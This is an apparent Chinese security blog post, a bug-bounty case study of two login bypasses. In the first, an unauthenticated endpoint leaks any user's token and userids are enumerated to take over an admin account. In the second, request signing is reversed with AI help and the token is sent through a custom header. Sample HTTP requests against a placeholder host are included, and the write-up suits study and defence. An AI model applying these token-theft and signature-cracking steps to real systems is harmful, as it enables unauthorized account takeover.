【SRC案例分析-21】登录接口惨遭WAF拦截？获取token应该如何登录？

原创

low洞百出
low洞百出

low洞百出

2026年8月10日 16:10
湖南

在小说阅读器读本章

去阅读

免责声明：本公众号分享的日常渗透测试、网络安全及 SRC 漏洞挖掘相关文章，内容仅供学习交流与技术研究参考。严禁将文中技术、方法用于任何非法入侵、未授权测试、数据窃取等违法违规行为。若因擅自使用文章内容开展非法操作或传播文章，所引发的一切法律责任与经济损失，均由使用者自行承担，与本公众号及作者无关。如有内容侵权，请及时联系处理。

前言

其实在测试过程中，经常会碰到一个系统，明明是正常的登陆口却无法正常登陆的情况，有可能是登陆入口弃用，也可能是出于某种原因安全设备临时对登陆进行了拦截限制，本文章记录了关于登陆入口无法正常登陆的案例。

案例分享

案例一（浏览器保存token，实现自动\"登录\"）：

进入站点发现存在登录框，登录方式还是直接通过token登录

POST /api/login HTTP/1.1Host: target.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{\"token\":\"xxxxxxx\"}

正常登录发现一直提示登录失败，抓包查看发现原来是登录接口直接被waf拦截了

离谱，正常登录也不让登？

通过js获取到了未授权接口api/GetTokenByUserId

只需传入userid即可未授权获取用户token

GET/api/GetTokenByUserId?userid=123 HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Accept: application/json

userid=123获取到token

又通过js去获取接口，调用查看账号信息的接口/api/GetUserInfo

GET /api/GetUserInfo HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36token: 123xxxxxx

通过获取到的token调用接口，获取用户账号信息为test1测试账号

HTTP/1.1 200 OKContent-Type: application/json
{    \"code\": 0,    \"msg\": \"success\",    \"data\": {        \"userId\": 123,        \"userName\": \"test1\",        \"role\": \"普通用户\"    }}

说明token没问题,确实有效

然而，当我想拿着这个Token去登录框里输入、试图进入后台时，WAF再一次无情地拦截了我的请求。

这就形成了一个死循环：我有钥匙（Token），但门把手（登录接口）被焊死（waf拦截）了，我进不去。

就在我一筹莫展、觉得这个漏洞无法直观体现危害时，一次无意间的操作拯救了我。我在浏览器地址栏手动输入了系统前端的路径/home，浏览器竟然直接加载出了登录后的主页面！

愣了两秒后，我瞬间反应了过来：浏览器是有记忆的！虽然刚才的登录请求被WAF拦了，但在调用/api/GetUserInfo接口获取信息时，浏览器已经自动将接口返回的Token存入了本地缓存。

当我再次访问系统路径时，自动去缓存里读取Token并塞进请求头发送，此时因为目标路径不是被拦截的登录接口，WAF压根就不会拦截，服务器校验Token有效，于是便顺理成章地\"绕过\"登录进入了系统。

但是一看当前账号为test1测试账号，没什么数据权限

GET /api/GetTokenByUserId?userid=100 HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Accept: application/json

继续遍历userid，通过获取token接口获取出一个admin账号token

HTTP/1.1 200 OKContent-Type: application/json
{    \"code\": 0,    \"msg\": \"success\",    \"data\": {        \"userId\": 100,        \"userName\": \"admin\",        \"role\": \"管理员用户\"    }}

通过调用查看账号信息接口，确认为admin超级管理员账号，继续通过将token存入浏览器方式，\"绕过\"登录直接接管了admin账号。

案例二(获取token后手动添加请求头进入系统)：

进入站点发现需要账号密码登录

也是通过js，发现了可未授权获取用户登录token接口/api/getTokenByNameAndSign

一看接口就能猜到只需要name与sign参数即可获取token

GET /api/getTokenByNameAndSign?name=admin&sign=123456 HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Accept: application/json

直接调用接口发现提示签名错误

HTTP/1.1 200 OKContent-Type: application/json
{    \"code\": 1001,    \"msg\": \"签名校验失败，请检查请求参数\",    \"data\": null}

好家伙，校验了sign签名

简单来说，请求加 sign（签名）的核心作用是：确保请求的“真实性”和“完整性”，防止数据在传输过程中被恶意篡改或伪造

碰到sign其实无非就是破解sign，而现在随着AI的发展，AI对js逆向以及sign破解可以说是一把好手，直接将js丢给AI，AI一下子就给你分析出结果了，然后再写个python脚本进行自动化破解，简直就是降维打击，不得不说AI还是太强大了。

很明显我们需要修改的参数是name，想要对name进行测试

只需要生成name值对应的sign即可

直接运行脚本，输入需要测试的name值，直接就可以自动生成对应正确的sign值进行测试

测试发现name=admin&sgin=xxx即可成功调用接口获取登陆成功的token

HTTP/1.1 200 OKContent-Type: application/json
{    \"code\": 0,    \"msg\": \"登录成功\",    \"data\": {        \"userName\": \"admin\",        \"token\": \"xxxxxx\"    }}

拿到Token后，我本想像案例一那样直接访问系统，结果发现又碰壁了。检查请求头发现，这个系统的认证方式不走寻常路，它不用常规的Authorization、token或Cookie，而是用一个自定义的请求头：tokenid: xxx

直接通过浏览器修改请求头插件，配置添加请求头内容以及需要修改请求头的域名规则，这样浏览器访问相关域名都会自动带上一个tokenid: xxx的请求头了